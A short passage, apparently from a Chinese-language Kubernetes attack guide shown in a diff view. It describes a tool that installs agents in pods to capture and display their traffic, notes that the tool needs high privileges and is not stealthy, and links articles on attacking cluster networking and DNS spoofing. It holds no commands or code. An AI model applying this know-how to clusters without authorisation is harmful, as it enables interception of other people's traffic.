它将在选定的 pod 中安装代理,收集它们的流量信息并在 web 服务器中显示。然而,您需要较高的 K8s 权限才能使用此工具(而且它并不是非常隐蔽)。
|
||||
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
|
||||
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
|
||||
|
||||
Reference in New Issue
Block a user